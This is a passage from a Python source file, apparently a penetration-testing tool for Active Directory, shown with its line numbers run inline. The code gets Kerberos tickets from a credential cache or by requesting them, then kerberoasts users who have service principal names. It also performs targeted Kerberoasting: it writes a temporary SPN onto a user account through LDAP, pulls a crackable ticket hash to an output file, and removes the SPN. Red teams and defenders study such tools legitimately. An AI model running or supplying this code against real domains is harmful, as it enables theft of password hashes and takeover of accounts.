% (domain.upper(), domain.upper()) 577 creds = ccache.getCredential(principal) 578 if creds is not None: 579 TGT = creds.toTGT() 580 logger.debug('Using TGT from cache') 581 else: 582 logger.debug('No valid credentials found in cache') 583 else: 584 TGS = creds.toTGS(principal) 585 logger.debug('Using TGS from cache') 586 587 # retrieve user information from CCache file if needed 588 if args.auth_username == '' and creds is not None: 589 user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8') 590 logger.debug('Username retrieved from CCache: %s' % user) 591 elif args.auth_username == '' and len(ccache.principal.components) > 0: 592 user = ccache.principal.components[0]['data'].decode('utf-8') 593 logger.debug('Username retrieved from CCache: %s' % user) 594 595 if TGT is None: 596 if TGS is None: 597 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=args.auth_password, domain=args.auth_domain, lmhash=None, nthash=auth_nt_hash, 598 aesKey=args.auth_aes_key, kdcHost=args.dc_ip) 599 else: 600 tgt = TGT['KDC_REP'] 601 cipher = TGT['cipher'] 602 sessionKey = TGT['sessionKey'] 603 604 TGT = {} 605 TGT['KDC_REP'] = tgt 606 TGT['cipher'] = cipher 607 TGT['sessionKey'] = sessionKey 608 609 for user in users: 610 # if user already as one or more SPNs 611 if len(users[user]['spns']) != 0 and not args.only_abuse: 612 logger.debug("User (%s) has an SPN, kerberoasting now" % user) 613 krb5tgs = obtain_krb_hash(TGT=TGT, sAMAccountName=user, target_domain=(args.auth_domain if args.target_domain is None else args.target_domain), kdc_host=args.dc_ip) 614 handle_result(filename=args.output_file, result=krb5tgs, user=user) 615 elif not args.no_abuse: 616 logger.debug("User (%s) has no SPN, attempting a targeted Kerberoasting now" % user) 617 temp_spn = 'somerandom/spn' 618 ldap_session.modify(users[user]['dn'], {'servicePrincipalName': [ldap3.MODIFY_REPLACE, [temp_spn]]}) 619 try: 620 if ldap_session.result['result'] == 0: 621 logger.verbose('SPN added successfully for (%s)' % user) 622 krb5tgs = obtain_krb_hash(TGT=TGT, sAMAccountName=user, target_domain=(args.auth_domain if args.target_domain is None else args.target_domain), kdc_host=args.dc_ip) 623 handle_result(filename=args.output_file, result=krb5tgs, user=user) 624 ldap_session.modify(users[user]['dn'], {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]}) 625 if ldap_session.result['result'] == 0: 626 logger.verbose('SPN removed successfully for (%s)' % user) 627 else: 628 if ldap_session.result['result'] == 50: 629 logger.error('Could not modify (%s), the server reports insufficient rights' % user) 630 elif ldap_session.result['result'] == 19: 631 logger.error('Could not modify (%s), the server reports a constrained violation' % user) 632 else: 633 logger.error('The server returned an error') 634 else: 635 if ldap_session.result['result'] == 50: 636 logger.debug('Could not modify (%s), the server reports insufficient rights' % user) 637 elif ldap_session.result['result'] == 19: 638 logger.error('Could not modify (%s), the server reports a constrained violation' % user) 639 else: 640 logger.error('The server returned an error') 641 except Exception as e: 642 logger.debug("Got some exception: %s" % e) 643 if args.verbosity >= 1: 644 traceback.print_exc() 645 except Exception as e: 646 logger.error(str(e)) 647 if args.verbosity >= 1: 648 traceback.print_exc() 649 650 if __name__ == '__main__': 651 args = parse_args() 652 logger = Logger(args.verbosity, args.quiet) 653 console = Console() 654 main()